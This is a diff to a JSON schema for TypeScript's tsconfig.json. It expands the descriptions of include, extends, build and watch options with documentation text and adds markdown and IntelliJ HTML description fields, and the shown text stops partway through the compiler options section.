-          "description": "Specifies a list of glob patterns that match files to be included in compilation. If no 'files' or 'include' property is present in a tsconfig.json, the compiler defaults to including all files in the containing directory and subdirectories except those specified by 'exclude'. Requires TypeScript version 2.0 or later.",
+          "description": "Specifies a list of glob patterns that match files to be included in compilation. If no 'files' or 'include' property is present in a tsconfig.json, the compiler defaults to including all files in the containing directory and subdirectories except those specified by 'exclude'. Requires TypeScript version 2.0 or later.\n\n---\n\nSpecifies an array of filenames or patterns to include in the program.\nThese filenames are resolved relative to the directory containing the `tsconfig.json` file.\n\n```json\n{\n  \"include\": [\"src/**/*\", \"tests/**/*\"]\n}\n```\n\nWhich would include:\n\n<!-- TODO: #135\n```diff\n  .\n- ├── scripts\n- │   ├── lint.ts\n- │   ├── update_deps.ts\n- │   └── utils.ts\n+ ├── src\n+ │   ├── client\n+ │   │    ├── index.ts\n+ │   │    └── utils.ts\n+ │   ├── server\n+ │   │    └── index.ts\n+ ├── tests\n+ │   ├── app.test.ts\n+ │   ├── utils.ts\n+ │   └── tests.d.ts\n- ├── package.json\n- ├── tsconfig.json\n- └── yarn.lock\n``` -->\n\n```\n.\n├── scripts                ⨯\n│   ├── lint.ts            ⨯\n│   ├── update_deps.ts     ⨯\n│   └── utils.ts           ⨯\n├── src                    ✓\n│   ├── client             ✓\n│   │    ├── index.ts      ✓\n│   │    └── utils.ts      ✓\n│   ├── server             ✓\n│   │    └── index.ts      ✓\n├── tests                  ✓\n│   ├── app.test.ts        ✓\n│   ├── utils.ts           ✓\n│   └── tests.d.ts         ✓\n├── package.json\n├── tsconfig.json\n└── yarn.lock\n```\n\n`include` and `exclude` support wildcard characters to make glob patterns:\n\n- `*` matches zero or more characters (excluding directory separators)\n- `?` matches any one character (excluding directory separators)\n- `**/` matches any directory nested to any level\n\nIf the last path segment in a pattern does not contain a file extension or wildcard character, then it is treated as a directory, and files with supported extensions inside that directory are included (e.g. `.ts`, `.tsx`, and `.d.ts` by default, with `.js` and `.jsx` if [`allowJs`](https://typescriptlang.org/tsconfig/#allowJs) is set to true).",
           "type": ["array", "null"],
           "uniqueItems": true,
           "items": {
-            "type": ["string", "null"]
-          }
+            "type": "string"
+          },
+          "markdownDescription": "Specifies a list of glob patterns that match files to be included in compilation. If no 'files' or 'include' property is present in a tsconfig.json, the compiler defaults to including all files in the containing directory and subdirectories except those specified by 'exclude'. Requires TypeScript version 2.0 or later.\n\n---\n\nSpecifies an array of filenames or patterns to include in the program.\nThese filenames are resolved relative to the directory containing the `tsconfig.json` file.\n\n```json\n{\n  \"include\": [\"src/**/*\", \"tests/**/*\"]\n}\n```\n\nWhich would include:\n\n<!-- TODO: #135\n```diff\n  .\n- ├── scripts\n- │   ├── lint.ts\n- │   ├── update_deps.ts\n- │   └── utils.ts\n+ ├── src\n+ │   ├── client\n+ │   │    ├── index.ts\n+ │   │    └── utils.ts\n+ │   ├── server\n+ │   │    └── index.ts\n+ ├── tests\n+ │   ├── app.test.ts\n+ │   ├── utils.ts\n+ │   └── tests.d.ts\n- ├── package.json\n- ├── tsconfig.json\n- └── yarn.lock\n``` -->\n\n```\n.\n├── scripts                ⨯\n│   ├── lint.ts            ⨯\n│   ├── update_deps.ts     ⨯\n│   └── utils.ts           ⨯\n├── src                    ✓\n│   ├── client             ✓\n│   │    ├── index.ts      ✓\n│   │    └── utils.ts      ✓\n│   ├── server             ✓\n│   │    └── index.ts      ✓\n├── tests                  ✓\n│   ├── app.test.ts        ✓\n│   ├── utils.ts           ✓\n│   └── tests.d.ts         ✓\n├── package.json\n├── tsconfig.json\n└── yarn.lock\n```\n\n`include` and `exclude` support wildcard characters to make glob patterns:\n\n- `*` matches zero or more characters (excluding directory separators)\n- `?` matches any one character (excluding directory separators)\n- `**/` matches any directory nested to any level\n\nIf the last path segment in a pattern does not contain a file extension or wildcard character, then it is treated as a directory, and files with supported extensions inside that directory are included (e.g. `.ts`, `.tsx`, and `.d.ts` by default, with `.js` and `.jsx` if [`allowJs`](https://typescriptlang.org/tsconfig/#allowJs) is set to true).",
+          "x-intellij-html-description": "<p>Specifies a list of glob patterns that match files to be included in compilation. If no &#39;files&#39; or &#39;include&#39; property is present in a tsconfig.json, the compiler defaults to including all files in the containing directory and subdirectories except those specified by &#39;exclude&#39;. Requires TypeScript version 2.0 or later.</p>\n<hr>\n<p>Specifies an array of filenames or patterns to include in the program.\nThese filenames are resolved relative to the directory containing the <code>tsconfig.json</code> file.</p>\n<pre><code class=\"language-json\">{\n  &quot;include&quot;: [&quot;src/**/*&quot;, &quot;tests/**/*&quot;]\n}\n</code></pre>\n<p>Which would include:</p>\n<!-- TODO: #135\n```diff\n  .\n- ├── scripts\n- │   ├── lint.ts\n- │   ├── update_deps.ts\n- │   └── utils.ts\n+ ├── src\n+ │   ├── client\n+ │   │    ├── index.ts\n+ │   │    └── utils.ts\n+ │   ├── server\n+ │   │    └── index.ts\n+ ├── tests\n+ │   ├── app.test.ts\n+ │   ├── utils.ts\n+ │   └── tests.d.ts\n- ├── package.json\n- ├── tsconfig.json\n- └── yarn.lock\n``` --><pre><code>.\n├── scripts                ⨯\n│   ├── lint.ts            ⨯\n│   ├── update_deps.ts     ⨯\n│   └── utils.ts           ⨯\n├── src                    ✓\n│   ├── client             ✓\n│   │    ├── index.ts      ✓\n│   │    └── utils.ts      ✓\n│   ├── server             ✓\n│   │    └── index.ts      ✓\n├── tests                  ✓\n│   ├── app.test.ts        ✓\n│   ├── utils.ts           ✓\n│   └── tests.d.ts         ✓\n├── package.json\n├── tsconfig.json\n└── yarn.lock\n</code></pre>\n<p><code>include</code> and <code>exclude</code> support wildcard characters to make glob patterns:</p>\n<ul>\n<li><code>*</code> matches zero or more characters (excluding directory separators)</li>\n<li><code>?</code> matches any one character (excluding directory separators)</li>\n<li><code>**/</code> matches any directory nested to any level</li>\n</ul>\n<p>If the last path segment in a pattern does not contain a file extension or wildcard character, then it is treated as a directory, and files with supported extensions inside that directory are included (e.g. <code>.ts</code>, <code>.tsx</code>, and <code>.d.ts</code> by default, with <code>.js</code> and <code>.jsx</code> if <a href=\"https://typescriptlang.org/tsconfig/#allowJs\"><code>allowJs</code></a> is set to true).</p>\n"
         }
       }
     },
@@ -96,7 +100,7 @@
     "extendsDefinition": {
       "properties": {
         "extends": {
-          "description": "Path to base configuration file to inherit from (requires TypeScript version 2.1 or later), or array of base files, with the rightmost files having the greater priority (requires TypeScript version 5.0 or later).",
+          "description": "Path to base configuration file to inherit from. Requires TypeScript version 2.1 or later.\n\n---\n\nThe value of `extends` is a string which contains a path to another configuration file to inherit from.\nThe path may use Node.js style resolution.\n\nThe configuration from the base file are loaded first, then overridden by those in the inheriting config file. All relative paths found in the configuration file will be resolved relative to the configuration file they originated in.\n\nIt's worth noting that [`files`](https://typescriptlang.org/tsconfig/#files), [`include`](https://typescriptlang.org/tsconfig/#include), and [`exclude`](https://typescriptlang.org/tsconfig/#exclude) from the inheriting config file _overwrite_ those from the\nbase config file, and that circularity between configuration files is not allowed.\n\nCurrently, the only top-level property that is excluded from inheritance is [`references`](https://typescriptlang.org/tsconfig/#references).\n\n##### Example\n\n`configs/base.json`:\n\n```json tsconfig\n{\n  \"compilerOptions\": {\n    \"noImplicitAny\": true,\n    \"strictNullChecks\": true\n  }\n}\n```\n\n`tsconfig.json`:\n\n```json tsconfig\n{\n  \"extends\": \"./configs/base\",\n  \"files\": [\"main.ts\", \"supplemental.ts\"]\n}\n```\n\n`tsconfig.nostrictnull.json`:\n\n```json tsconfig\n{\n  \"extends\": \"./tsconfig\",\n  \"compilerOptions\": {\n    \"strictNullChecks\": false\n  }\n}\n```\n\nProperties with relative paths found in the configuration file, which aren't excluded from inheritance, will be resolved relative to the configuration file they originated in.",
           "oneOf": [
             {
               "default": "",
@@ -109,7 +113,9 @@
               },
               "type": "array"
             }
-          ]
+          ],
+          "markdownDescription": "Path to base configuration file to inherit from. Requires TypeScript version 2.1 or later.\n\n---\n\nThe value of `extends` is a string which contains a path to another configuration file to inherit from.\nThe path may use Node.js style resolution.\n\nThe configuration from the base file are loaded first, then overridden by those in the inheriting config file. All relative paths found in the configuration file will be resolved relative to the configuration file they originated in.\n\nIt's worth noting that [`files`](https://typescriptlang.org/tsconfig/#files), [`include`](https://typescriptlang.org/tsconfig/#include), and [`exclude`](https://typescriptlang.org/tsconfig/#exclude) from the inheriting config file _overwrite_ those from the\nbase config file, and that circularity between configuration files is not allowed.\n\nCurrently, the only top-level property that is excluded from inheritance is [`references`](https://typescriptlang.org/tsconfig/#references).\n\n##### Example\n\n`configs/base.json`:\n\n```json tsconfig\n{\n  \"compilerOptions\": {\n    \"noImplicitAny\": true,\n    \"strictNullChecks\": true\n  }\n}\n```\n\n`tsconfig.json`:\n\n```json tsconfig\n{\n  \"extends\": \"./configs/base\",\n  \"files\": [\"main.ts\", \"supplemental.ts\"]\n}\n```\n\n`tsconfig.nostrictnull.json`:\n\n```json tsconfig\n{\n  \"extends\": \"./tsconfig\",\n  \"compilerOptions\": {\n    \"strictNullChecks\": false\n  }\n}\n```\n\nProperties with relative paths found in the configuration file, which aren't excluded from inheritance, will be resolved relative to the configuration file they originated in.",
+          "x-intellij-html-description": "<p>Path to base configuration file to inherit from. Requires TypeScript version 2.1 or later.</p>\n<hr>\n<p>The value of <code>extends</code> is a string which contains a path to another configuration file to inherit from.\nThe path may use Node.js style resolution.</p>\n<p>The configuration from the base file are loaded first, then overridden by those in the inheriting config file. All relative paths found in the configuration file will be resolved relative to the configuration file they originated in.</p>\n<p>It&#39;s worth noting that <a href=\"https://typescriptlang.org/tsconfig/#files\"><code>files</code></a>, <a href=\"https://typescriptlang.org/tsconfig/#include\"><code>include</code></a>, and <a href=\"https://typescriptlang.org/tsconfig/#exclude\"><code>exclude</code></a> from the inheriting config file <em>overwrite</em> those from the\nbase config file, and that circularity between configuration files is not allowed.</p>\n<p>Currently, the only top-level property that is excluded from inheritance is <a href=\"https://typescriptlang.org/tsconfig/#references\"><code>references</code></a>.</p>\n<h5>Example</h5>\n<p><code>configs/base.json</code>:</p>\n<pre><code class=\"language-json\">{\n  &quot;compilerOptions&quot;: {\n    &quot;noImplicitAny&quot;: true,\n    &quot;strictNullChecks&quot;: true\n  }\n}\n</code></pre>\n<p><code>tsconfig.json</code>:</p>\n<pre><code class=\"language-json\">{\n  &quot;extends&quot;: &quot;./configs/base&quot;,\n  &quot;files&quot;: [&quot;main.ts&quot;, &quot;supplemental.ts&quot;]\n}\n</code></pre>\n<p><code>tsconfig.nostrictnull.json</code>:</p>\n<pre><code class=\"language-json\">{\n  &quot;extends&quot;: &quot;./tsconfig&quot;,\n  &quot;compilerOptions&quot;: {\n    &quot;strictNullChecks&quot;: false\n  }\n}\n</code></pre>\n<p>Properties with relative paths found in the configuration file, which aren&#39;t excluded from inheritance, will be resolved relative to the configuration file they originated in.</p>\n"
         }
       }
     },
@@ -118,45 +124,44 @@
         "buildOptions": {
           "properties": {
             "dry": {
-              "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
               "description": "~",
               "type": ["boolean", "null"],
               "default": false
             },
             "force": {
-              "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
               "description": "Build all projects, including those that appear to be up to date",
               "type": ["boolean", "null"],
               "default": false,
-              "markdownDescription": "Build all projects, including those that appear to be up to date\n\nSee more: https://www.typescriptlang.org/tsconfig#force"
+              "markdownDescription": "Build all projects, including those that appear to be up to date",
+              "x-intellij-html-description": "<p>Build all projects, including those that appear to be up to date</p>\n"
             },
             "verbose": {
-              "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
               "description": "Enable verbose logging",
               "type": ["boolean", "null"],
               "default": false,
-              "markdownDescription": "Enable verbose logging\n\nSee more: https://www.typescriptlang.org/tsconfig#verbose"
+              "markdownDescription": "Enable verbose logging",
+              "x-intellij-html-description": "<p>Enable verbose logging</p>\n"
             },
             "incremental": {
-              "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-              "description": "Save .tsbuildinfo files to allow for incremental compilation of projects.",
+              "description": "Tells TypeScript to save information about the project graph from the last compilation to files stored on disk. This\ncreates a series of `.tsbuildinfo` files in the same folder as your compilation output. They are not used by your\nJavaScript at runtime and can be safely deleted. You can read more about the flag in the [3.4 release notes](https://typescriptlang.org/docs/handbook/release-notes/typescript-3-4.html#faster-subsequent-builds-with-the---incremental-flag).\n\nTo control which folders you want to the files to be built to, use the config option [`tsBuildInfoFile`](https://typescriptlang.org/tsconfig/#tsBuildInfoFile).",
               "type": ["boolean", "null"],
               "default": false,
-              "markdownDescription": "Save .tsbuildinfo files to allow for incremental compilation of projects.\n\nSee more: https://www.typescriptlang.org/tsconfig#incremental"
+              "markdownDescription": "Tells TypeScript to save information about the project graph from the last compilation to files stored on disk. This\ncreates a series of `.tsbuildinfo` files in the same folder as your compilation output. They are not used by your\nJavaScript at runtime and can be safely deleted. You can read more about the flag in the [3.4 release notes](https://typescriptlang.org/docs/handbook/release-notes/typescript-3-4.html#faster-subsequent-builds-with-the---incremental-flag).\n\nTo control which folders you want to the files to be built to, use the config option [`tsBuildInfoFile`](https://typescriptlang.org/tsconfig/#tsBuildInfoFile).",
+              "x-intellij-html-description": "<p>Tells TypeScript to save information about the project graph from the last compilation to files stored on disk. This\ncreates a series of <code>.tsbuildinfo</code> files in the same folder as your compilation output. They are not used by your\nJavaScript at runtime and can be safely deleted. You can read more about the flag in the <a href=\"https://typescriptlang.org/docs/handbook/release-notes/typescript-3-4.html#faster-subsequent-builds-with-the---incremental-flag\">3.4 release notes</a>.</p>\n<p>To control which folders you want to the files to be built to, use the config option <a href=\"https://typescriptlang.org/tsconfig/#tsBuildInfoFile\"><code>tsBuildInfoFile</code></a>.</p>\n"
             },
             "assumeChangesOnlyAffectDirectDependencies": {
-              "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-              "description": "Have recompiles in projects that use `incremental` and `watch` mode assume that changes within a file will only affect files directly depending on it.",
+              "description": "When this option is enabled, TypeScript will avoid rechecking/rebuilding all truly possibly-affected files, and only recheck/rebuild files that have changed as well as files that directly import them.\n\nThis can be considered a 'fast & loose' implementation of the watching algorithm, which can drastically reduce incremental rebuild times at the expense of having to run the full build occasionally to get all compiler error messages.",
               "type": ["boolean", "null"],
               "default": false,
-              "markdownDescription": "Have recompiles in projects that use `incremental` and `watch` mode assume that changes within a file will only affect files directly depending on it.\n\nSee more: https://www.typescriptlang.org/tsconfig#assumeChangesOnlyAffectDirectDependencies"
+              "markdownDescription": "When this option is enabled, TypeScript will avoid rechecking/rebuilding all truly possibly-affected files, and only recheck/rebuild files that have changed as well as files that directly import them.\n\nThis can be considered a 'fast & loose' implementation of the watching algorithm, which can drastically reduce incremental rebuild times at the expense of having to run the full build occasionally to get all compiler error messages.",
+              "x-intellij-html-description": "<p>When this option is enabled, TypeScript will avoid rechecking/rebuilding all truly possibly-affected files, and only recheck/rebuild files that have changed as well as files that directly import them.</p>\n<p>This can be considered a &#39;fast &amp; loose&#39; implementation of the watching algorithm, which can drastically reduce incremental rebuild times at the expense of having to run the full build occasionally to get all compiler error messages.</p>\n"
             },
             "traceResolution": {
-              "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-              "description": "Log paths used during the `moduleResolution` process.",
+              "description": "When you are trying to debug why a module isn't being included.\nYou can set `traceResolution` to `true` to have TypeScript print information about its resolution process for each processed file.",
               "type": ["boolean", "null"],
               "default": false,
-              "markdownDescription": "Log paths used during the `moduleResolution` process.\n\nSee more: https://www.typescriptlang.org/tsconfig#traceResolution"
+              "markdownDescription": "When you are trying to debug why a module isn't being included.\nYou can set `traceResolution` to `true` to have TypeScript print information about its resolution process for each processed file.",
+              "x-intellij-html-description": "<p>When you are trying to debug why a module isn&#39;t being included.\nYou can set <code>traceResolution</code> to <code>true</code> to have TypeScript print information about its resolution process for each processed file.</p>\n"
             }
           }
         }
@@ -165,7 +170,6 @@
     "watchOptionsDefinition": {
       "properties": {
         "watchOptions": {
-          "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
           "type": ["object", "null"],
           "description": "Settings for the watch mode in TypeScript.",
           "properties": {
@@ -174,48 +178,48 @@
               "type": ["string", "null"]
             },
             "watchFile": {
-              "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-              "description": "Specify how the TypeScript watch mode works.",
+              "description": "The strategy for how individual files are watched.\n\n- `fixedPollingInterval`: Check every file for changes several times a second at a fixed interval.\n- `priorityPollingInterval`: Check every file for changes several times a second, but use heuristics to check certain types of files less frequently than others.\n- `dynamicPriorityPolling`: Use a dynamic queue where less-frequently modified files will be checked less often.\n- `useFsEvents` (the default): Attempt to use the operating system/file system's native events for file changes.\n- `useFsEventsOnParentDirectory`: Attempt to use the operating system/file system's native events to listen for changes on a file's parent directory",
               "type": ["string", "null"],
-              "markdownDescription": "Specify how the TypeScript watch mode works.\n\nSee more: https://www.typescriptlang.org/tsconfig#watchFile"
+              "markdownDescription": "The strategy for how individual files are watched.\n\n- `fixedPollingInterval`: Check every file for changes several times a second at a fixed interval.\n- `priorityPollingInterval`: Check every file for changes several times a second, but use heuristics to check certain types of files less frequently than others.\n- `dynamicPriorityPolling`: Use a dynamic queue where less-frequently modified files will be checked less often.\n- `useFsEvents` (the default): Attempt to use the operating system/file system's native events for file changes.\n- `useFsEventsOnParentDirectory`: Attempt to use the operating system/file system's native events to listen for changes on a file's parent directory",
+              "x-intellij-html-description": "<p>The strategy for how individual files are watched.</p>\n<ul>\n<li><code>fixedPollingInterval</code>: Check every file for changes several times a second at a fixed interval.</li>\n<li><code>priorityPollingInterval</code>: Check every file for changes several times a second, but use heuristics to check certain types of files less frequently than others.</li>\n<li><code>dynamicPriorityPolling</code>: Use a dynamic queue where less-frequently modified files will be checked less often.</li>\n<li><code>useFsEvents</code> (the default): Attempt to use the operating system/file system&#39;s native events for file changes.</li>\n<li><code>useFsEventsOnParentDirectory</code>: Attempt to use the operating system/file system&#39;s native events to listen for changes on a file&#39;s parent directory</li>\n</ul>\n"
             },
             "watchDirectory": {
-              "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-              "description": "Specify how directories are watched on systems that lack recursive file-watching functionality.",
+              "description": "The strategy for how entire directory trees are watched under systems that lack recursive file-watching functionality.\n\n- `fixedPollingInterval`: Check every directory for changes several times a second at a fixed interval.\n- `dynamicPriorityPolling`: Use a dynamic queue where less-frequently modified directories will be checked less often.\n- `useFsEvents` (the default): Attempt to use the operating system/file system's native events for directory changes.",
               "type": ["string", "null"],
-              "markdownDescription": "Specify how directories are watched on systems that lack recursive file-watching functionality.\n\nSee more: https://www.typescriptlang.org/tsconfig#watchDirectory"
+              "markdownDescription": "The strategy for how entire directory trees are watched under systems that lack recursive file-watching functionality.\n\n- `fixedPollingInterval`: Check every directory for changes several times a second at a fixed interval.\n- `dynamicPriorityPolling`: Use a dynamic queue where less-frequently modified directories will be checked less often.\n- `useFsEvents` (the default): Attempt to use the operating system/file system's native events for directory changes.",
+              "x-intellij-html-description": "<p>The strategy for how entire directory trees are watched under systems that lack recursive file-watching functionality.</p>\n<ul>\n<li><code>fixedPollingInterval</code>: Check every directory for changes several times a second at a fixed interval.</li>\n<li><code>dynamicPriorityPolling</code>: Use a dynamic queue where less-frequently modified directories will be checked less often.</li>\n<li><code>useFsEvents</code> (the default): Attempt to use the operating system/file system&#39;s native events for directory changes.</li>\n</ul>\n"
             },
             "fallbackPolling": {
-              "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-              "description": "Specify what approach the watcher should use if the system runs out of native file watchers.",
+              "description": "When using file system events, this option specifies the polling strategy that gets used when the system runs out of native file watchers and/or doesn't support native file watchers.\n\n- `fixedPollingInterval`: Check every file for changes several times a second at a fixed interval.\n- `priorityPollingInterval`: Check every file for changes several times a second, but use heuristics to check certain types of files less frequently than others.\n- `dynamicPriorityPolling`: Use a dynamic queue where less-frequently modified files will be checked less often.\n- `synchronousWatchDirectory`: Disable deferred watching on directories. Deferred watching is useful when lots of file changes might occur at once (e.g. a change in `node_modules` from running `npm install`), but you might want to disable it with this flag for some less-common setups.",
               "type": ["string", "null"],
-              "markdownDescription": "Specify what approach the watcher should use if the system runs out of native file watchers.\n\nSee more: https://www.typescriptlang.org/tsconfig#fallbackPolling"
+              "markdownDescription": "When using file system events, this option specifies the polling strategy that gets used when the system runs out of native file watchers and/or doesn't support native file watchers.\n\n- `fixedPollingInterval`: Check every file for changes several times a second at a fixed interval.\n- `priorityPollingInterval`: Check every file for changes several times a second, but use heuristics to check certain types of files less frequently than others.\n- `dynamicPriorityPolling`: Use a dynamic queue where less-frequently modified files will be checked less often.\n- `synchronousWatchDirectory`: Disable deferred watching on directories. Deferred watching is useful when lots of file changes might occur at once (e.g. a change in `node_modules` from running `npm install`), but you might want to disable it with this flag for some less-common setups.",
+              "x-intellij-html-description": "<p>When using file system events, this option specifies the polling strategy that gets used when the system runs out of native file watchers and/or doesn&#39;t support native file watchers.</p>\n<ul>\n<li><code>fixedPollingInterval</code>: Check every file for changes several times a second at a fixed interval.</li>\n<li><code>priorityPollingInterval</code>: Check every file for changes several times a second, but use heuristics to check certain types of files less frequently than others.</li>\n<li><code>dynamicPriorityPolling</code>: Use a dynamic queue where less-frequently modified files will be checked less often.</li>\n<li><code>synchronousWatchDirectory</code>: Disable deferred watching on directories. Deferred watching is useful when lots of file changes might occur at once (e.g. a change in <code>node_modules</code> from running <code>npm install</code>), but you might want to disable it with this flag for some less-common setups.</li>\n</ul>\n"
             },
             "synchronousWatchDirectory": {
-              "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-              "description": "Synchronously call callbacks and update the state of directory watchers on platforms that don`t support recursive watching natively.",
+              "description": "Synchronously call callbacks and update the state of directory watchers on platforms that don`t support recursive watching natively. Instead of giving a small timeout to allow for potentially multiple edits to occur on a file.\n\n```json tsconfig\n{\n  \"watchOptions\": {\n    \"synchronousWatchDirectory\": true\n  }\n}\n```",
               "type": ["boolean", "null"],
-              "markdownDescription": "Synchronously call callbacks and update the state of directory watchers on platforms that don`t support recursive watching natively.\n\nSee more: https://www.typescriptlang.org/tsconfig#synchronousWatchDirectory"
+              "markdownDescription": "Synchronously call callbacks and update the state of directory watchers on platforms that don`t support recursive watching natively. Instead of giving a small timeout to allow for potentially multiple edits to occur on a file.\n\n```json tsconfig\n{\n  \"watchOptions\": {\n    \"synchronousWatchDirectory\": true\n  }\n}\n```",
+              "x-intellij-html-description": "<p>Synchronously call callbacks and update the state of directory watchers on platforms that don`t support recursive watching natively. Instead of giving a small timeout to allow for potentially multiple edits to occur on a file.</p>\n<pre><code class=\"language-json\">{\n  &quot;watchOptions&quot;: {\n    &quot;synchronousWatchDirectory&quot;: true\n  }\n}\n</code></pre>\n"
             },
             "excludeFiles": {
-              "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-              "description": "Remove a list of files from the watch mode's processing.",
+              "description": "You can use `excludeFiles` to remove a set of specific files from the files which are watched.\n\n```json tsconfig\n{\n  \"watchOptions\": {\n    \"excludeFiles\": [\"temp/file.ts\"]\n  }\n}\n```",
               "type": ["array", "null"],
               "uniqueItems": true,
               "items": {
-                "type": ["string", "null"]
+                "type": "string"
               },
-              "markdownDescription": "Remove a list of files from the watch mode's processing.\n\nSee more: https://www.typescriptlang.org/tsconfig#excludeFiles"
+              "markdownDescription": "You can use `excludeFiles` to remove a set of specific files from the files which are watched.\n\n```json tsconfig\n{\n  \"watchOptions\": {\n    \"excludeFiles\": [\"temp/file.ts\"]\n  }\n}\n```",
+              "x-intellij-html-description": "<p>You can use <code>excludeFiles</code> to remove a set of specific files from the files which are watched.</p>\n<pre><code class=\"language-json\">{\n  &quot;watchOptions&quot;: {\n    &quot;excludeFiles&quot;: [&quot;temp/file.ts&quot;]\n  }\n}\n</code></pre>\n"
             },
             "excludeDirectories": {
-              "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-              "description": "Remove a list of directories from the watch process.",
+              "description": "You can use [`excludeFiles`](https://typescriptlang.org/tsconfig/#excludeFiles) to drastically reduce the number of files which are watched during `--watch`. This can be a useful way to reduce the number of open file which TypeScript tracks on Linux.\n\n```json tsconfig\n{\n  \"watchOptions\": {\n    \"excludeDirectories\": [\"**/node_modules\", \"_build\", \"temp/*\"]\n  }\n}\n```",
               "type": ["array", "null"],
               "uniqueItems": true,
               "items": {
-                "type": ["string", "null"]
+                "type": "string"
               },
-              "markdownDescription": "Remove a list of directories from the watch process.\n\nSee more: https://www.typescriptlang.org/tsconfig#excludeDirectories"
+              "markdownDescription": "You can use [`excludeFiles`](https://typescriptlang.org/tsconfig/#excludeFiles) to drastically reduce the number of files which are watched during `--watch`. This can be a useful way to reduce the number of open file which TypeScript tracks on Linux.\n\n```json tsconfig\n{\n  \"watchOptions\": {\n    \"excludeDirectories\": [\"**/node_modules\", \"_build\", \"temp/*\"]\n  }\n}\n```",
+              "x-intellij-html-description": "<p>You can use <a href=\"https://typescriptlang.org/tsconfig/#excludeFiles\"><code>excludeFiles</code></a> to drastically reduce the number of files which are watched during <code>--watch</code>. This can be a useful way to reduce the number of open file which TypeScript tracks on Linux.</p>\n<pre><code class=\"language-json\">{\n  &quot;watchOptions&quot;: {\n    &quot;excludeDirectories&quot;: [&quot;**/node_modules&quot;, &quot;_build&quot;, &quot;temp/*&quot;]\n  }\n}\n</code></pre>\n"
             }
           }
         }
@@ -224,124 +228,130 @@
     "compilerOptionsDefinition": {
       "properties": {
         "compilerOptions": {
-          "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
           "type": ["object", "null"],
           "description": "Instructs the TypeScript compiler how to compile .ts files.",
           "properties": {
             "allowArbitraryExtensions": {
-              "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-              "description": "Enable importing files with any extension, provided a declaration file is present.",
+              "description": "In TypeScript 5.0, when an import path ends in an extension that isn't a known JavaScript or TypeScript file extension, the compiler will look for a declaration file for that path in the form of `{file basename}.d.{extension}.ts`.\nFor example, if you are using a CSS loader in a bundler project, you might want to write (or generate) declaration files for those stylesheets:\n\n```css\n/* app.css */\n.cookie-banner {\n  display: none;\n}\n```\n\n```ts\n// app.d.css.ts\ndeclare const css: {\n  cookieBanner: string;\n};\nexport default css;\n```\n\n```ts\n// App.tsx\nimport styles from \"./app.css\";\n\nstyles.cookieBanner; // string\n```\n\nBy default, this import will raise an error to let you know that TypeScript doesn't understand this file type and your runtime might not support importing it.\nBut if you've configured your runtime or bundler to handle it, you can suppress the error with the new `--allowArbitraryExtensions` compiler option.\n\nNote that historically, a similar effect has often been achievable by adding a declaration file named `app.css.d.ts` instead of `app.d.css.ts` - however, this just worked through Node's `require` resolution rules for CommonJS.\nStrictly speaking, the former is interpreted as a declaration file for a JavaScript file named `app.css.js`.\nBecause relative files imports need to include extensions in Node's ESM support, TypeScript would error on our example in an ESM file under `--moduleResolution node16` or `nodenext`.\n\nFor more information, read up [the proposal for this feature](https://github.com/microsoft/TypeScript/issues/50133) and [its corresponding pull request](https://github.com/microsoft/TypeScript/pull/51435).",
               "type": ["boolean", "null"],
-              "markdownDescription": "Enable importing files with any extension, provided a declaration file is present.\n\nSee more: https://www.typescriptlang.org/tsconfig#allowArbitraryExtensions"
+              "markdownDescription": "In TypeScript 5.0, when an import path ends in an extension that isn't a known JavaScript or TypeScript file extension, the compiler will look for a declaration file for that path in the form of `{file basename}.d.{extension}.ts`.\nFor example, if you are using a CSS loader in a bundler project, you might want to write (or generate) declaration files for those stylesheets:\n\n```css\n/* app.css */\n.cookie-banner {\n  display: none;\n}\n```\n\n```ts\n// app.d.css.ts\ndeclare const css: {\n  cookieBanner: string;\n};\nexport default css;\n```\n\n```ts\n// App.tsx\nimport styles from \"./app.css\";\n\nstyles.cookieBanner; // string\n```\n\nBy default, this import will raise an error to let you know that TypeScript doesn't understand this file type and your runtime might not support importing it.\nBut if you've configured your runtime or bundler to handle it, you can suppress the error with the new `--allowArbitraryExtensions` compiler option.\n\nNote that historically, a similar effect has often been achievable by adding a declaration file named `app.css.d.ts` instead of `app.d.css.ts` - however, this just worked through Node's `require` resolution rules for CommonJS.\nStrictly speaking, the former is interpreted as a declaration file for a JavaScript file named `app.css.js`.\nBecause relative files imports need to include extensions in Node's ESM support, TypeScript would error on our example in an ESM file under `--moduleResolution node16` or `nodenext`.\n\nFor more information, read up [the proposal for this feature](https://github.com/microsoft/TypeScript/issues/50133) and [its corresponding pull request](https://github.com/microsoft/TypeScript/pull/51435).",
